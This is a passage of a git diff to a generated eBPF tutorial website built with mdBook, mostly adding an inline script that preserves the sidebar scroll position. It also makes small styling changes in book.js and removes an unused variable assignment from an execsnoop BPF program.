+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/28-detach/index.html b/28-detach/index.html
index b109f36..011b8bd 100644
--- a/28-detach/index.html
+++ b/28-detach/index.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/29-sockops/index.html b/29-sockops/index.html
index b7d8a9b..f2bacd9 100644
--- a/29-sockops/index.html
+++ b/29-sockops/index.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/3-fentry-unlink/index.html b/3-fentry-unlink/index.html
index d931f31..cb2b8b3 100644
--- a/3-fentry-unlink/index.html
+++ b/3-fentry-unlink/index.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/4-opensnoop/index.html b/4-opensnoop/index.html
index b95a737..db02793 100644
--- a/4-opensnoop/index.html
+++ b/4-opensnoop/index.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/404.html b/404.html
index e9b7df6..ffc4dcb 100644
--- a/404.html
+++ b/404.html
@@ -89,11 +89,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/5-uprobe-bashreadline/index.html b/5-uprobe-bashreadline/index.html
index c1b01e1..36516b2 100644
--- a/5-uprobe-bashreadline/index.html
+++ b/5-uprobe-bashreadline/index.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/6-sigsnoop/index.html b/6-sigsnoop/index.html
index c6a1b2e..130e5fd 100644
--- a/6-sigsnoop/index.html
+++ b/6-sigsnoop/index.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/7-execsnoop/execsnoop.bpf.c b/7-execsnoop/execsnoop.bpf.c
index 50544fb..fcb0890 100644
--- a/7-execsnoop/execsnoop.bpf.c
+++ b/7-execsnoop/execsnoop.bpf.c
@@ -20,7 +20,6 @@ int tracepoint__syscalls__sys_enter_execve(struct trace_event_raw_sys_enter* ctx
 
 	uid_t uid = (u32)bpf_get_current_uid_gid();
 	id = bpf_get_current_pid_tgid();
-	pid = (pid_t)id;
 	tgid = id >> 32;
 
 	event.pid = tgid;
diff --git a/7-execsnoop/index.html b/7-execsnoop/index.html
index d3adb3e..ed546a3 100644
--- a/7-execsnoop/index.html
+++ b/7-execsnoop/index.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
@@ -191,7 +213,6 @@ int tracepoint__syscalls__sys_enter_execve(struct trace_event_raw_sys_enter* ctx
 
  uid_t uid = (u32)bpf_get_current_uid_gid();
  id = bpf_get_current_pid_tgid();
- pid = (pid_t)id;
  tgid = id &gt;&gt; 32;
 
  event.pid = tgid;
diff --git a/8-exitsnoop/index.html b/8-exitsnoop/index.html
index 8ab7c13..2dd85fc 100644
--- a/8-exitsnoop/index.html
+++ b/8-exitsnoop/index.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/9-runqlat/index.html b/9-runqlat/index.html
index ec20db7..a97e30f 100644
--- a/9-runqlat/index.html
+++ b/9-runqlat/index.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/bcc-documents/kernel-versions.html b/bcc-documents/kernel-versions.html
index c4cecab..f88f38e 100644
--- a/bcc-documents/kernel-versions.html
+++ b/bcc-documents/kernel-versions.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/bcc-documents/kernel_config.html b/bcc-documents/kernel_config.html
index 0d030dd..89c5d22 100644
--- a/bcc-documents/kernel_config.html
+++ b/bcc-documents/kernel_config.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/bcc-documents/reference_guide.html b/bcc-documents/reference_guide.html
index 817dcda..143d3c3 100644
--- a/bcc-documents/reference_guide.html
+++ b/bcc-documents/reference_guide.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/bcc-documents/special_filtering.html b/bcc-documents/special_filtering.html
index e0a0c44..959f7d1 100644
--- a/bcc-documents/special_filtering.html
+++ b/bcc-documents/special_filtering.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/bcc-documents/tutorial.html b/bcc-documents/tutorial.html
index 9fbb928..1fc40e6 100644
--- a/bcc-documents/tutorial.html
+++ b/bcc-documents/tutorial.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/bcc-documents/tutorial_bcc_python_developer.html b/bcc-documents/tutorial_bcc_python_developer.html
index 7bbca3f..9ecad83 100644
--- a/bcc-documents/tutorial_bcc_python_developer.html
+++ b/bcc-documents/tutorial_bcc_python_developer.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/book.js b/book.js
index ff3650e..351e28c 100644
--- a/book.js
+++ b/book.js
@@ -346,7 +346,7 @@ function playground_text(playground, hidden = true) {
         }
 
         setTimeout(function () {
-            themeColorMetaTag.content = getComputedStyle(document.body).backgroundColor;
+            themeColorMetaTag.content = getComputedStyle(document.documentElement).backgroundColor;
         }, 1);
 
         if (window.ace && window.editors) {
@@ -551,13 +551,6 @@ function playground_text(playground, hidden = true) {
             firstContact = null;
         }
     }, { passive: true });
-
-    // Scroll sidebar to current active section
-    var activeSection = document.getElementById("sidebar").querySelector(".active");
-    if (activeSection) {
-        // https://developer.mozilla.org/en-US/docs/Web/API/Element/scrollIntoView
-        activeSection.scrollIntoView({ block: 'center' });
-    }
 })();
 
 (function chapterNavigation() {
@@ -676,13 +669,14 @@ function playground_text(playground, hidden = true) {
         }, { passive: true });
     })();
     (function controllBorder() {
-        menu.classList.remove('bordered');
-        document.addEventListener('scroll', function () {
+        function updateBorder() {
             if (menu.offsetTop === 0) {
                 menu.classList.remove('bordered');
             } else {
                 menu.classList.add('bordered');
             }
-        }, { passive: true });
+        }
+        updateBorder();
+        document.addEventListener('scroll', updateBorder, { passive: true });
     })();
 })();
diff --git a/index.html b/index.html
index fa8ebc5..fd52a85 100644
--- a/index.html
+++ b/index.html
@@ -88,11 +88,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
-                <div id="menu-bar" class="menu-bar sticky bordered">
+                <div id="menu-bar" class="menu-bar sticky">
                     <div class="left-buttons">
                         <button id="sidebar-toggle" class="icon-button" type="button" title="Toggle Table of Contents" aria-label="Toggle Table of Contents" aria-controls="sidebar">
                             <i class="fa fa-bars"></i>
diff --git a/print.html b/print.html
index 3b24da4..340fbad 100644
--- a/print.html
+++ b/print.html
@@ -89,11 +89,33 @@
             <div id="sidebar-resize-handle" class="sidebar-resize-handle"></div>
         </nav>
 
+        <!-- Track and set sidebar scroll position -->
+        <script>
+            var sidebarScrollbox = document.querySelector('#sidebar .sidebar-scrollbox');
+            sidebarScrollbox.addEventListener('click', function(e) {
+                if (e.target.tagName === 'A') {
+                    sessionStorage.setItem('sidebar-scroll', sidebarScrollbox.scrollTop);
+                }
+            }, { passive: true });
+            var sidebarScrollTop = sessionStorage.getItem('sidebar-scroll');
+            sessionStorage.removeItem('sidebar-scroll');
+            if (sidebarScrollTop) {
+                // preserve sidebar scroll position when navigating via links within sidebar
+                sidebarScrollbox.scrollTop = sidebarScrollTop;
+            } else {
+                // scroll sidebar to current active section when navigating via "next/previous chapter" buttons
+                var activeSection = document.querySelector('#sidebar .active');
+                if (activeSection) {
+                    activeSection.scrollIntoView({ block: 'center' });
+                }
+            }
+        </script>
+
         <div id="page-wrapper" class="page-wrapper">
 
             <div class="page">
                                 <div id="menu-bar-hover-placeholder"></div>
